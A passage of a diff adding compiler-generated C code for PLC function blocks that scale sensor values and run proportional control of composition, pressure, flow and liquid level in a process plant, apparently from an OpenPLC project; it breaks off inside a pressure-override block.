(BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + 